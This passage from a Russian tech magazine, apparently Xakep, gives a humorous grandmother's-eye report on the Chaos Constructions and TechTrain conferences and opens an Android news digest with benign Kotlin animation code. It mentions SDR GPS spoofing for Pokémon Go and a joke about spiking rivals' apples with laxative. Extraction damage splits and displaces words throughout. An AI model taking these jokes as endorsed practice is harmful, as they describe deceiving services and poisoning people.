живет.  Почему  же  «не  очень  все»?  И  приш ла  я  к  выводу,  что  наши
компь ютер щики  к  работе  очень  ответс твен но  под ходят,  ста рают ся
сде лать не как быс трее, а как луч ше, гра мот нее. Но не всег да у них
это  получа ется.  Руга ются  почем  зря:  мол,  хотим  как  луч ше  сде лать,
а  началь ник  «доб ро»  не  дает,  или  сро ки  под жима ют,  или  людей
не  хва тает,  или  еще  что  похуже.  Вот  и  выходит,  что  из‑за  высоких
внут ренних уста новок им кажет ся, что вок руг все пло хо. Но это не так.
Хорошо у нас, вну чок. Вот и внуч ка одно пол чанки тоже говорит: учи- 
лась  в Полите хе  на  при борос тро ении,  так  и  ассем блер был,  и C++,
и ради оэлек тро ники в дос таточ ном количес тве.

Ра дос тно  слы шать  такое  от  бабули.  В  мое  вре мя  пре пода вате лей  было
не  отор вать  от  бутыл ки,  а  экза мены  при ходи лось  сда вать  сбо ром  средств
на  при обре тение  новых  бутылок  —  ну  или  машин  и  квар тир.  И  интерне та
не  было,  и  «Али экс прес са»  с  дешевы ми  эстэ эмка ми  не  было,  и  вся ких  Ar‐
duino, Raspberry  Pi  и  Altera Cyclone  тоже. Да  и  денег  не  было,  что бы  купить
это, даже если бы оно про дава лось. Жить ста ло луч ше, жить ста ло веселее!

Но и слож ности, конеч но, есть. Глав ным обра зом с про изводс твом и сбы‐ 
том. Поп робуй‐ка ввез ти в Рос сию пар тию ком плек тующих без нотифи кации
ФСБ.  Что бы  все  офор мить,  целый  юри дичес кий  отдел  понадо бит ся.  А  как
про давать готовые устрой ства за рубеж? Тоже не всег да воз можно. И сов сем
уж  нон сенс  услы шать  хочешь?  Не  все  про изве ден ные  в  Рос сии  устрой ства
мож но  ввез ти  обратно  по  гаран тии  —  их  поп росту  не  про пус тит  тамож ня.
Каково, а?

Про изво дите лям  дешев ле  отпра вить  новое,  чем  рас тамажи вать  ремон‐ 
топри год ное, вот так. При ходит ся откры вать сер вис‐цен тры в более лояль ных
стра нах.  Конеч но,  при  таких  кар тах  гло баль ную  пар тию  не  выиг рать.  Вот
и устрем ляют взо ры наши спе цы за рубеж. А с этим как раз не все так слож но,
как может показать ся: инос тран цам не очень прин ципи аль но, у кого заказы‐ 
вать.

Мен таль ность  тоже  игра ет  роль.  Взять  ази атов  —  они  пред почита ют
работать со «сво ими». Их жиз ненный уклад, куль тура, мировоз зре ние силь но
отли чают ся  от  наших.  А  евро пей цам,  наобо рот,  все  рав но,  с  кем  работать,
лишь  бы  было  качес твен но.  Одна ко  они  предъ явля ют  высокие  тре бова ния
ко  вся ким  сер тифика там  про дук ции  и  про изводс тва.  Но  боль ше  зависит
от самого заказ чика — все реша ет «лич ная химия». Поч ти как в отно шени ях.
Пон равят ся  топ‐менед жеры  друг  дру гу  —  зна чит,  под пишут  кон тракт.  И  не
важ но, что с раз ных кон тинен тов люди. Глав ное — вера в успех обще го дела.

Кру чу‑вер чу  в  руках  прог рам мку  кон ферен ции,  и  вдруг  на  гла за
попада ется тема «Монито ринг в ЦОД». Пош ла пос мотреть, да открыть
дверь не смог ла, изнутри зак рыта! Так и не попала в зал. А в сосед- 
нем  помеще нии  про ходи ла  наг лядная  лек ция  по  отмычкам.  Ох
и жалею я, что нет у меня их навыков, ина че разоб ралась бы с зам ком
в два сче та. А вооб ще, все пра виль но сде лали: ЦОД — такое мес то,
куда не каж дому заходить поз волено. А зна чит, нечего под слу шивать,
что они там монито рят.

По хоже, у моей бабуш ки не хва тило прав дос тупа!

В одной из ком нат была раз верну та нас тоящая виде осту дия с вин тажным
обо рудо вани ем

Пош ла  даль ше.  Нат кну лась  на  инте рес ных  ребят.  Занима ются 
  безопас ностью».  Пишу  сло ва  ведуще го:  «Пла тят  мно го,

кида ют  еще  боль ше».  Там  у  них  все,  как  ты  выража ешь ся, 
  под поль ные  китай цы  сли вают  проп риетар ные  кабели

для отладки устрой ств. Обме нива ют на что‑то немате риаль ное неиз- 
вес тно  отку да  взяв шиеся  сор цы  внут ренних  тулз,  без  которых  раз- 
нооб разный взлом был бы в прин ципе невоз можен.

«хардварной

«по хардкору»:

А  что  может  быть  немате риаль ного  у  хакеров?  Дос тупы  к  сек- 
ретным  FTP,  все воз можные  непуб личные  инс тру мен ты,  собс твен ные
изыс кания  о  кри тичес ких  уяз вимос тях  в  том  или  ином  железе.  Биз- 
несме ны пред лага ют день ги за взло мы, за выс тупле ния на кон ферен- 
циях,  а  хакерам  это  неин терес но,  ведь  день ги —  не  глав ное.  И  при
этом все рав но при день гах! Поп робуй‑ка тут не роман тизиро вать эту
суб куль туру: нас тоящие пираты — как из романов моей юнос ти!

Еще бы! Не  каж дый может  себе  поз волить  ска зать  «не  хочу»  на  какое‐либо
выгод ное  пред ложение.  Что  для биз несме на —  упу щен ная  воз можность,  то
для хакера — сво бода воли.

Зна ешь, вну чок, я тебе никог да не рас ска зыва ла, что в Аме рике я поз- 
накоми лась  с  одним  хакером,  который  увле кал ся  компь ютер ными
игра ми. Водил он меня в зал игро вых авто матов, а дома у него был
Atari 2600. Но вот такой аппа рат мне видеть не доводи лось.

Сле дом за этим сооб щени ем бабуш ка ски нула фотог рафию Vectrex. Мало кто
в  наших  кра ях  слы шал  об  этом  устрой стве.  Это  век торная  игро вая  кон соль
со  встро енным монито ром. Век торной она  называ ется  потому,  что  прин цип
работы  ее  дис плея  сов пада ет  с  прин ципом  работы  дис плея  осциллог рафа:
изоб ражения стро ятся не попик сель но, а лини ями.

Эта  аме рикан ская  кон соль  при обре ла  ста тус  куль товой,  и  в  наше  вре мя
вок руг  нее  сло жилось  боль шое  сооб щес тво.  Появи лись  аппа рат ные  фик сы
завод ских недос татков, муль тикар трид жи с игра ми и даже новые инди‐игры.
Ока зыва ется,  недав но  один  из  таких  аппа ратов  при обрел музей  «Яндекса».
Его сот рудни ки при вез ли часть сво ей кол лекции рет ромашин на фес тиваль,
где бабуля и уви дела нез накомый ей девайс.

Ста рым компь юте рам и нос таль гичес ким играм, как всег да, наш лось
мес то на Chaos Constructions

Здесь пос вящали в адеп ты механи чес ких кла виатур. У бабуш ки и так
механи чес кая, но за молодежь она была рада

Дем ки для ZX Spectrum — еще одна тра диция CC. Бабуля подиви лась
тому, что сей час дела ют на ZX Evolution

А еще бабуш ка рас ска зала про Software Defined Radio (SDR). Мож но, говорит,
спу фить GPS‐коор динаты и играть в Pokémon Go «на мак симал ках»! В ее‐то
воз расте по городу не набега ешь ся, а с SDR даже из дома выходить не надо,
все покемо ны сами при ходить будут — тут‐то их и пой мают.

А от себя ска жу, что более полез ное при мене ние SDR — это прог рам мные
реали зации  базовых  стан ций  GSM  и  LTE.  Мож но  соб рать  собс твен ную
сотовую  сеть.  Толь ко  не  делай  это го  дома!  А  то  при дет  товарищ  май ор
и  задаст  воп рос  о  легаль нос ти  исполь зования  час тотно го  диапа зона.
И «Хакером» тебе от него не отма хать ся.

Ка залось  бы,  это  все  игрушки.  Поделюсь  инсай дом:  гло баль ный  рынок
сотовых стан ций монопо лизи ровал Huawei, а в тех нологии SDR находит воп‐ 
лощение идея борь бы опен сорса с проп риетар щиками. Откры тые тех нологии
поз волят  неболь шим  незави симым  ком пани ям  вой ти  на  рынок  телеком‐ 
муника ций и оздо ровить его. Мы с тобой как конеч ные поль зовате ли от это го
толь ко выиг раем.

Я бы мог дол го рас ска зывать о SDR, но в «Телег раме» новое сооб щение.
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БАБУШКА И «ХАОС»
КАК МОЯ БАБУЛЯ СЪЕЗДИЛА В ПИТЕР

НА CHAOS CONSTRUCTIONS И TECHTRAIN
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МНОГО РАБОТЫ

TechTrain  встре тил  меня  холод ными  объ яти ями  здо ровен ного  выс- 
тавоч ного  цен тра  где‑то  за  коль цевой  авто мобиль ной  дорогой.  Вот
думаю, а пра виль но ли я сде лала, что не пош ла на выс тавку дач ных
рас тений, про ходив шую непода леку? Там были конь и даже вер блюд!
А у прог раммис тов их не было. Но все‑таки хоть я и ста рая, а из ума
еще не выжила. Поэто му быс тро прош ла регис тра цию и впе ред!

Один из пер вых док ладов, на которые я попала, называл ся «Само- 
оцен ка и самоцен ность. Как перес тать гонять ся за „успе хом“ и начать
жить». В наше вре мя о таких вещах не говори ли, пар тия решала все
за нас: куда идти по жиз ни, как ста новить ся успешны ми, чем гор дить- 
ся.  И,  зна ешь,  как‑то  счас тли вее  жили,  понят нее.  А  сей час  ты  мне
сам рас ска зыва ешь про сво их дру зей, которые на энту зиаз ме находят
новую работу, а уже через год впа дают в деп рессию от «выгора ния»
и начина ют сом невать ся в пра виль нос ти выбора про фес сии.

Я все не понима ла, почему так у вас про исхо дит. И вот Ири на Мат- 
веева, док ладчик, мне гла за на это откры ла. Все дело в само оцен ке
и  осоз нании  сво ей  цен ности  вне  зависи мос ти  от  суж дений  дру гих
людей. Для мно гих работо дате лей ты прос то «челове чес кий ресурс»,
а  не  «высокок лас сный  спе циалист»,  «цен ный  сот рудник»  и  прос то
«хороший человек». Отсутс тву ет обратная связь, нес пра вед ливо оце- 
нива ют  дос тижения,  не  уде ляют  вни мание  пер сональ ным  осо бен- 
ностям  лич ности.  Из‑за  это го  про пада ет  любовь  к  себе,  про пада ет
желание  работать.  Гра мот но  рас ска зыва ла,  мотиви рующе.  Вот  чего
не хва тает сов ремен ной молоде жи!

Да, бабуля пра ва… Я и сам час то об этом думаю. В погоне за тех нологи ями
забыва ем  глав ное —  ради  кого  эти  тех нологии  соз дают ся.  Ради  челове ка.
Ради  тебя  и  меня.  Для  луч шей  и  счас тли вой  жиз ни,  а  не  для  деп рессий
и выгора ний.

Пе ред  отъ ездом  я  поп росил  бабуш ку  зас тать  хотя  бы  одно го  из  «звез‐ 
дных» гос тей, а имен но Джо на Ромеро или Ричар да Стол лма на.

Вну чок, слу шаешь ли ты дип‑хаус? Акку рат перед выходом Стол лма на
заиг рал  ремикс  You  Sexy  Motherfucker,  что,  несом ненно,  добави ло
пер чинку  в  про исхо дящее  событие.  Аме рикан ский  дедок  в  зеленом
поло  под нялся  на  сце ну  и  пошел  завари вать  чай.  Я  обыч но  макаю
и оставляю пакетик, а он его дол го‑дол го кру тит по кру гу — надо бы
поп робовать так же!

Ве щал он дол го, я даже потеря ла счет вре мени. Люди впа ли в гип- 
нотичес кий  сон.  Я  замети ла  двух  девушек,  дре мав ших  на  пле чах
у  сво их  молодых  людей.  Но  человек‑леген да  есть  человек‑леген да.
Огромный зал был забит бит ком. Ког да ему захоте лось поча евни чать
сно ва,  он  поп росил  об  этом  со  сце ны,  и  молодой  адепт  под бежал
заварить  ему  еще  кру жеч ку.  Не  у  вся кой  религии  такие  пре дан ные
пос ледова тели.

Ба буш ка дол го и вос торжен но говори ла о самобыт ном дедуле, но в основном
это были обще извес тные вещи. Был рас сказ о базовых прин ципах Free Soft‐
ware Foundation; о том, что нес вобод ное ПО не дол жно сущес тво вать, потому
что угро жает сво боде челове чес тва; что проп риетар щики кон тро лиру ют наши
устрой ства  и  могут  уда лять  с  них  прог раммы  и  кон тент;  что  вез де  слеж ка
и луч ше не поль зовать ся мобиль ными телефо нами. Ну и, конеч но, что Ричард
выс тупа ет не за откры тые исходни ки, а имен но за «фри соф твер», сво бод ный
софт, и это его прин ципи аль ная позиция. И мно гое‐мно гое дру гое.

Не смот ри на ноги. Я пре дуп реждал!

Но вот на этих стро ках я пря мо про тер гла за:

…ах, такой милаш ка, такой затей ник! Дол го рас ска зывал о сле дящих
секс‑игрушках. Что внут ри каж дой игрушки сто ит дат чик тем перату ры,
и  вся  телемет рия  и  коман ды  управле ния  переда ются  через  сер вер
ком пании‑вла дель ца, которая собира ет базу дан ных о том, кто с кем
и каким обра зом спит!

Я  понимаю бабулю. Она  всег да  инте ресо валась  импо зан тны ми муж чинами,
и Ричард раз жег в ее душе пожар. Его перевоп лощение в свя того Игну сиуса
из  цер кви  Емак са  с  ним бом  из  жес тко го  дис ка  от  ста рого  мей нфрей ма 

 ее сер дце бить ся чаще, чем при при выч ной тахикар дии.заставило

А еще тут сос тоял ся аук цион, на котором Стол лман про дал плю шевую
игрушку  анти лопы  гну  за  33  тысячи рос сий ских  руб лей.  А  свою  кни- 
гу — за 12 тысяч. Игрушку он, кста ти, поцело вал и потер о бороду, так
что она теперь освя щен ная.

Не  буду  рас суждать  о  лич ности  это го  челове ка,  его  иде алах  и  жиз ненных
прин ципах — ты все и так зна ешь и навер няка име ешь собс твен ное мне ние.
Для бабуш ки это было шоу супер звез ды, а  такие шоу всег да вызыва ют вос‐ 
торг.

Из  зна ковых фигур  на  кон ферен ции  выс тупал Олег  Бар тунов.  Если  не  пом‐ 
нишь по фамилии — то сей час навер няка вспом нишь, я тебе под ска жу. Дол‐ 
говязый длин новоло сый муж чина мон голь ской внеш ности. Вспом нил? Имен‐ 
но он «при нес» PostgreSQL в Рос сию и прив нес в код этой СУБД мно го важ‐ 
ного и нового, что поз волило ей занять пер вое мес то в рос сий ском хай лоаде.

Не  буду  копиро вать  тебе  все,  что  написа ла  бабуля,  но  один  ком мента рий
показал ся мне инте рес ным.

Са мая боль шая проб лема челове чес тва в будущем будет в том, чтоб
не  прев ращать ся  в  баранов.  PHP-шни ков  заменит  искусс твен ный
интеллект. А сфе ра IT — это вре мен ное занятие челове чес тва.

Как  тебе  такой  прог ноз? Можешь  не  боять ся:  я  тоже,  быва ет,  пишу  на PHP,
и если меня в этом заменит ИИ, то я буду толь ко рад — потому что к тому вре‐ 
мени появит ся какой‐нибудь Fresh PHP, Web 100500 VR и еще пач ка мод ных
баз звор дов,  которые  будут  отни мать  все  сво бод ное  вре мя  и  ресур сы  ПК.
Иде аль ный мир, в котором пра вит логика и здра вый смысл — это не про наше
изме рение. Не забывай,  что сущес тву ет  «теория мат рицы»,  где все мы есть
про дукт компь ютер ной симуля ции. Так что, переф разируя сло ва Оле га, мож‐ 
но ска зать, что «челове чес тво — вре мен ное занятие ИИ».

Вну чок,  ты  же  зна ешь,  я  в  базах  дан ных  не  силь на,  PostgreSQL
от MySQL  не  отли чу.  Поэто му  давай  я  тебе  о  чем‑нибудь  понят ном
рас ска жу.  Вот,  пом нишь,  я  ябло ками  на  рын ке  пыталась  тор говать?
Выс тро ила, так ска зать, мар кетин говую стра тегию. Сосед кам по рын ку
в их ябло ки сла битель ное вка лыва ла, и покупа тели потом бра ли толь- 
ко  у  меня.  Ну,  тог да  девянос тые  были,  каюсь,  выжива ла  как  мог ла.
А теперь на носу двад цатые, надо идти в ногу со вре менем.

По это му потопа ла я на лек цию мэт ра рос сий ско го интерне та Дмит- 
рия Завали шина. Рас ска зывал он про циф ровую тран сфор мацию ком- 
паний. Ну, чтоб вот ябло ками не с подола тор говать, а со смар тфо на.
Мно го  теории  было,  вынес ла  для  себя  одно:  если  в  руководс тве
«брат ки»,  то  никуда  их  тран сфор мировать  не  получит ся,  раз ве  что
тран спор тировать  —  на  два  мет ра  под  зем лю.  А  хорошие  ком пании
и тран сфор миру ются лег ко, тем более что методо логии нарабо таны.

В общем, сло жилось у меня такое впе чат ление: лох матых на Tech-
Train  мало,  все  пос три жены  и  поб риты.  А  на  Chaos  Constructions  —
наобо рот.  Любят  на  TechTrain  «обла ка»,  энтер прайз  и  вся кие  трен- 
довые под ходы, а на Chaos Constructions — рет рокомпь юте ры, хакинг
и плю рализм мне ний. И там, и там хорошо по‑сво ему. Задер жусь‑ка
я в Питере еще на недель ку. Слав ный город, зря ехать не хотела.

Да вай, бабуля,  уда чи! Спа сибо,  что писала! А  тебе — спа сибо,  что читал. Я
наде юсь, ты теперь тоже куда‐нибудь выберешь ся, хотя бы в пре делах сво его
города, на кон ферен цию или на митап. Людей пос мотришь, себя покажешь.

Пять пра вил езды на кон ферен ции
Ес ли даже моя бабуля спо соб на выехать в Питер и посетить две кон ферен‐ 
ции, то можешь и ты! Вот пять муд ростей от нас с бабуш кой, которые помогут
тебе получить от поез дки мак симум удо воль ствия и заод но сэконо мить.

1. Не ман дра жируй
Ес ли тебя одо лева ют воп росы из серии «а смо гу ли я? а хочу ли я? а я это я
или не я?» — отбрось сом нения в сто рону, посом нева ешь ся потом. А пока,
раз хочет ся, нуж но ехать! Тем более дело‐то полез ное для тво его нас тояще го
и  будуще го.  Раз веешь ся,  ощу тишь  общность  с  тусов кой  (узна ешь,  что  ты
не  один  такой  осо бен ный).  Наберешь ся  новых  идей  и  зна ний  и  смо жешь
хвас тать ся при раз говоре с одно кур сни ками и кол легами: «А я вот на выход‐ 
ных не пиво пил, а на кон ферен цию ездил, свой про фес сиональ ный уро вень
повышал. Впро чем, и пиво тоже было!».

2. Лови уда чу
Что  делать,  если  тебе  прис пичило  ехать  через  два  часа,  а  билеты  уже  рас‐ 
купили?  Если  ты  при вык  путешес тво вать  с  ком фортом,  но  не  хочешь 

  за  биз нес‐класс,  то  поп робуй  вот  что. Извес тно,  что  билеты
на  поезд мож но  вер нуть. Извес тно,  что  есть  люди,  которые билеты  воз вра‐ 
щают.  Что  про исхо дит  с  эти ми  билета ми  даль ше?  Они  попада ют  обратно
в базу rzd.ru, где ты, если будешь сидеть и жать F5 в сво ем любимом бра узе‐ 
ре, име ешь шанс уви деть такой воз вра щен ный билет. И, о чудо, можешь поп‐ 
робовать успеть его заб рониро вать. На все про все у тебя есть секунд трид‐ 
цать, пока его не купил кто‐то дру гой. Это даже азар тнее, чем уго нять чужие
бра узер ные  сес сии.  Веришь  или  нет,  моя  бабуля  имен но  так  урва ла  пос‐ 
ледний  билет  на  «Сап сан».  Не  самый  бюд жетный  вари ант,  но  с  ее‐то  рев‐ 
матиз мом на вер хней боковой тряс тись уже не по годам.

переплачивать

3. Можешь не парить ся о жилье
Ес ли  не  прис мотрел  ком натку  на  Airbnb  заранее,  то  не  вол нуй ся:  в  поез де
у  тебя  будет  мас са  вре мени,  что бы  арен довать  номер  в  гос тинице.  Луч ше
все го  вос поль зовать ся  каким‐нибудь  агре гато ром оте лей  типа Booking.com
или «Остров ка». Или мож но най ти сайт это го оте ля и сде лать по ста рин ке —
поз вонить туда. Заод но пой мешь, нас коль ко тебя будут рады встре тить в час
ночи,  ког да  ты  уставший  сой дешь  с  поез да.  Если  дадут  доб ро —  смо жешь
с  ними  догово рить ся  пря мо  по  телефо ну  и  опла тить  на  ресеп шене  налич‐ 
ными.

4. Поехал отды хать — отдохни!
На деюсь,  ты  пос тупишь  не  как  все,  а  как  пра виль но  —  при едешь  на  кон‐ 
ферен цию заранее и про ведешь рек реацион ные про цеду ры. Под этим я под‐ 
разуме ваю не про гул ки по бли жай шим барам, а про менад на све жем воз духе
для  обре тения  хороше го  рас положе ния  духа.  Ведь  кон ферен ция  —
это работа, а не отдых. Ты же не хочешь работать без выход ных и выгореть?
Вто рая при чина  (а по зна чимос ти — пер вая): кон ферен ция — это интенсив.
Как  меж ду  раз ными  видами  суши  ты  жуешь  имбирь,  что бы  «сбро сить»  вку‐ 
совые  рецеп торы,  так  и  здесь  тебе  нуж но  «сбро сить»  мозг  для  при нятия
и  обра бот ки  боль ших  объ емов  новой  информа ции.  Ина че  день ги  будут 

 впус тую, нас тро ение испортит ся, обще ние не сло жит ся — и поль‐ 
зы будет куда мень ше.
потрачены

5. Под готовь ся к кон фе
На кану не мероп риятия вни матель но изу чи прог рамму и при ми однознач ные
решения о том, на какие выс тупле ния тебе обя затель но надо попасть, а какие
не  очень  важ ны.  Занеси  обя затель ные  в  отдель ный  спи сок.  Пусть  их  будет
не  очень  мно го.  При чина  баналь на  —  слу шать  выс тупле ния  восемь  часов
под ряд уто митель но. Ведь чувак со сце ны часок погово рит и уйдет пить чай,
а тебе при дет ся выдер жать еще с десяток таких же. Гораз до луч ше скон цен‐ 
три ровать ся на том, что инте ресу ет имен но тебя и при годит ся тебе в работе.
Тог да оста нет ся вре мя осмыслить  тему, пооб щать ся в  кулу арах с док ладчи‐ 
ком,  задать  воп росы,  на  которые  тебе  не  даст  отве та  интернет.  И  завязать
полез ные зна комс тва сре ди еди номыш ленни ков. Не бой ся что‐то про пус тить:
хорошо  орга низо ван ная  кон ферен ция  обя затель но  выложит  пре зен тации
с док ладов, а иног да и виде оза писи — и ты навер ста ешь упу щен ное.

Ах да. Вспо минаю совет бабули: «Пос тавь будиль ник».
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Се год ня  в  выпус ке:  рас сказ  о  том,
как  Huawei  Mate  30  обхо дит ся  без  Google
Play,  статья  о  динами чес ких  обновле ниях
Android,  советы  Эдварда  Сно уде на
по  исполь зованию  телефо на,  руководс тво
по соз данию ани маций при исполь зовании
реак тивных  фрей мвор ков,  объ ясне ние
типов  Unit,  Nothing,  Any  в  Kotlin,  замет ка
о новой фун кции View Binding в Android Stu‐
dio,  обзор  инс тру мен тов  повыше ния  про‐ 
изво дитель нос ти при ложе ния. А так же: под‐ 
борка  инс тру мен тов  пен тесте ра  и  биб‐ 
лиотек для раз работ чиков.

ПОЧИТАТЬ

Huawei Mate 30 без Google Play
  —

хорошая статья о том, как Huawei может вый ти из ситу ации, ког да флаг маны
ком пании (линей ка Huawei Mate 30) не могут пос тавлять ся на рынок с пре дус‐ 
танов ленны ми при ложе ниями и сер висами Google.

The  challenges  Huawei  faces  getting  Google  apps  on  the  Huawei  Mate  30

Что бы иметь воз можность уста новить на свои смар тфо ны набор при ложе‐ 
ний Google (в том чис ле магазин при ложе ний), ком пания‐про изво дитель дол‐ 
жна отпра вить в Google свой смар тфон, где он про ходит тес ты сов мести мос‐ 
ти Compatibility  Test Suite  (CTS) и Google Test Suite  (GTS), а  так же под писать
сог лашение Mobile Application Distribution Agreement (MADA).

Все  это  откры вает  перед  про изво дите лем  воз можность  уста новить
на свои смар тфо ны клю чевые при ложе ния Google (Google Play Store, Google
Chrome, Google Maps и т. д.) и необ ходимый для их работы набор сер висов
(Core Services).

Huawei  по  при чине  тор говой  вой ны США и  Китая боль ше  не может  под‐ 
писать новое сог лашение MADA с Google, а потому по закону не име ет пра ва
пре дус танав ливать при ложе ния Google на смар тфо ны, про дающиеся на тер‐ 
ритории  боль шинс тва  стран.  Так же  они  не  могут  дать  поль зовате лям  воз‐ 
можность уста новить эти при ложе ния самос тоятель но, так как клю чевые при‐ 
ложе ния Google  (в пер вую оче редь магазин при ложе ний) и набор сер висов
дол жны иметь рас ширен ные пра ва, а зна чит, быть пре дус танов леными в сис‐ 
темный раз дел.

По нача лу  казалось,  что  у Huawei  есть  выход. Дело  в  том,  что  в  прош лом
они (а так же ком пания Xiaomi и дру гие китай ские про изво дите ли) уже научи‐ 
лись обхо дить такие огра ниче ния. Трюк сос тоит в том, что бы пре дус тановить
в  сис тему  толь ко  набор  сер висов  Google  и  добавить  раз решения  для  при‐ 
ложе ний Google  в  обще сис темный файл  раз решений.  В  таком  слу чае  уста‐ 
нов ленные  из  сто рон них  источни ков  при ложе ния  Google  авто мати чес ки
получат  нуж ные  раз решения  и  будут  пол ностью  работос пособ ны.  Оста лось
толь ко  дать  поль зовате лям  какой‐то  инстал лятор  для  авто мати чес кой  доус‐ 
танов ки мар кета и все го осталь ного соф та.

Су дя по все му, в дан ном слу чае трюк осу щес твить не получи лось, но выход
все  рав но  нашел ся.  Это  кас томный  инстал лятор  сер висов  Google  ,
который может пре дус тановить на смар тфо ны Huawei все необ ходимые сер‐ 
висы и сам магазин при ложе ний. При этом сооб щение «Device is uncertified»
на  смар тфо не  не  появ ляет ся,  а  это  зна чит,  что  Google  добави ла  Mate
30 в белый спи сок сер тифици рован ных устрой ств, нес мотря на бан Huawei.

lzplay

Ди нами чес кие обновле ния Android

 — статья о рас ширении фун кции Dynamic System
Updates в Android 10/11.

Google is expanding Android 10’s DSU feature to let you try OTAs from OEMs with‐
out committing to the update

Фун кция Dynamic System Updates (DSU) появи лась в треть ей бета‐вер сии
Android 10 как ответ на необ ходимость вре мен ной уста нов ки тес товых вер сий
ОС,  при  которой  не  зат рагива ется  основная  вер сия  Android,  уста нов ленная
на смар тфон. DSU базиру ется на тех нологии Dynamic Partitions, которая поз‐ 
воля ет  «сдви нуть»  раз дел    и  соз дать  в  осво бодив шемся  мес те  новые
раз делы    и  ,  которые  будут  исполь зованы  для  уста нов ки
еще одной про шив ки рядом с основной.

data
system data

В финаль ной вер сии Android 10 DSU дос тупен в смар тфо нах линей ки Pixel,
но  толь ко  для  так  называ емых  GSI‐обра зов  ОС  (Generic  System  Image),
которые  выпус кает  сама Google  на  базе  AOSP.  Но  сов сем  недав но  в  AOSP
появил ся  , по содер жимому которо го мож но понять, что фун кци ональ‐ 
ность DSU вско ре будет рас ширена для под дер жки тес товых про шивок про‐ 
изво дите лей смар тфо нов.

ком мит

Что из это го все го сле дует? Во‐пер вых, это не спо соб орга низо вать муль‐ 
тизаг рузку  на  смар тфо не  (по  ана логии  с  MultiROM).  Это  лишь  спо соб  тес‐ 
тирова ния  про шивок,  пос ле  перезаг рузки  про исхо дит  авто мати чес кий  откат
к  основной  про шив ке.  Во‐вто рых,  это  дей стви тель но  удоб ный  спо соб
для  тес тирова ния  бета‐вер сий  про шивок  без  необ ходимос ти  уда лять
основную про шив ку.

Еще в Google анон сирова ли под дер жку так называ емой раз метки «дис ка»
Virtual  A/B.  Это  раз витие  идеи  раз метки  A/B,  появив шей ся  еще  в  Android
8  и  пред полага ющей  сущес тво вание  сра зу  двух  раз делов  .  В  одном
раз деле  уста нов лена  текущая  вер сия  про шив ки,  в  дру гой  уста нав лива ется
обновле ние. Пос ле перезаг рузки они меня ются мес тами.

system

Раз метка  A/B  поз воля ет  уста нав ливать  обновле ния  про шив ки  в  фоне
и  защища ет  от  ситу аций,  ког да  обновле ние  может  окир пичить  смар тфон  (в
этом слу чае смар тфон авто мати чес ки заг рузит ся со «ста рого» раз дела 

). Одна ко кро ме самой Google мало какой про изво дитель захотел исполь‐ 
зовать  такую  раз метку  вви ду  баналь ной  эко номии  прос транс тва  в  памяти
устрой ства. Virtual A/B поз воля ет решить эту проб лему путем соз дания вре‐ 
мен ного  раз дела  ,  который  может  быть  уда лен  пос ле  удач ного
обновле ния.

sys‐
tem

system

Ка кой телефон исполь зовал бы Эдвард Сно уден
 — ком пиляция   Эдварда

Сно уде на  о  том,  какой  сетап  сле дует  исполь зовать  для  сох ранения  кон‐ 
фиден циаль нос ти при исполь зовании смар тфо на. Тезисы:

How Edward Snowden Would Use A Smartphone тви тов

про шив ка GrapheneOS (от соз дателя  );• CopperheadOS
вы ход в интернет толь ко через Tor;•
ис поль зование  Ethernet  (!)  вмес то Wi‐Fi  и  мобиль ной  сети  (это  дей стви‐ 
тель но мож но сде лать с помощью USB‐дон гла);

•

бло киров щик рек ламы;•
фай рвол с бло киров кой дос тупа к интерне ту для боль шинс тва при ложе ний
(мож но исполь зовать AFWall);

•

бло киров ка сто рон них кукисов в бра узе ре;•
ни како го e‐mail;•
об щение толь ко в Signal и Wire.•

РАЗРАБОТЧИКУ

Ум ные ани мации
  —  статья  одно го  из  раз работ‐ 

чиков Android,  пос вящен ная  соз данию  кон систен тных  умных ани маций,  спо‐ 
соб ных работать в паре с реак тивны ми UI‐фрей мвор ками.

Motional  Intelligence:  Build  smarter  animations

В качес тве при мера автор при водит сле дующую фун кцию, пред назна чен‐ 
ную для ани мации появ ления/исчезно вения эле мен та на экра не:

fun animateVisibility(view: View, visible: Boolean) {
   view.visibility = View.VISIBLE
   if (visible) {
       ObjectAnimator.ofFloat(view, View.ALPHA, 0f, 1f).start()
   } else {
       ObjectAnimator.ofFloat(view, View.ALPHA, 1f, 0f).apply {
           doOnEnd { view.visibility = View.GONE }
       }.start()
   }
}

Эта фун кция будет отлично работать в при ложе нии, написан ном в клас сичес‐ 
кой манере без исполь зования реак тивных фрей мвор ков и пат тернов (MVVM,
MVI). Если же мы исполь зуем реак тивный под ход, ког да модель дан ных может
изме нять ся  неп ред ска зуемо,  а  UI  дол жен  незамед литель но  реаги ровать
на изме нения, то мы получим минимум две проб лемы.
1. При ложе ние не готово к получе нию новых дан ных во вре мя про игры вания
ани мации, нужен спо соб сбро сить все лис тенеры и оста новить ани мацию.

2. Ани мация  всег да  начина ется  с  начала  (с  мак сималь ного  или  минималь‐ 
ного зна чения аль фа‐канала), поэто му — даже если решить пер вую проб‐ 
лему  —  ани мация  ста нет  «дер ганой»,  ког да  дан ные  будут  при ходить
во вре мя про игры вания ани мации.

Ре шить  вто рую  проб лему  очень  лег ко,  дос таточ но  прос то  не  ука зывать
началь ное  сос тояние  ани мации  —  и  при  пов торном  запус ке  она  нач нется
с того же мес та:

‐ ObjectAnimator.ofFloat(view, View.ALPHA, 0f, 1f).start()
+ ObjectAnimator.ofFloat(view, View.ALPHA, 1f).start()

Ре шение  пер вой  проб лемы  сос тоит  из  двух шагов. Для  начала  необ ходимо
про верить,  соот ветс тву ет  ли  зна чение  аль фа‐канала  тому,  что  дол жно
получить ся в резуль тате работы ани мации, и если да, то ничего не делать:

fun animateVisibility(view: View, visible: Boolean) {
+ val targetAlpha = if (visible) 1f else 0f
+ if (view.alpha == targetAlpha) return

Да лее  нам  необ ходимо  сде лать  так,  что бы  текущая  ани мация  оста нав‐ 
ливалась  перед  началом  сле дующей.  Для  это го  мож но  нагоро дить  ого род
кос тылей,  а  мож но  прос то  заменить    на  метод 

:
ObjectAnimator View.ani‐

mate()

‐ val anim = ObjectAnimator.ofFloat(view, View.ALPHA, targetAlpha)
‐ if (!visible) {
‐   anim.doOnEnd { view.visibility = View.GONE }
‐ }
+ val anim = view.animate().alpha(targetAlpha)
+ if (!visible) {
+   anim.withEndAction { view.visibility = View.GONE }
+ }

Это  все.  Теперь  у  нас  есть  ани мация,  которая  всег да  будет  выг лядеть  кон‐ 
систен тно.

В  статье  автор  так же  при водит  при мер  решения  этих  проб лем  для  ани‐ 
мации переме щения эле мен тов, но это уже сов сем дру гая исто рия.

Ти пы Unit, Nothing, Any в Kotlin
 — статья,  пояс няющая  суть  типов

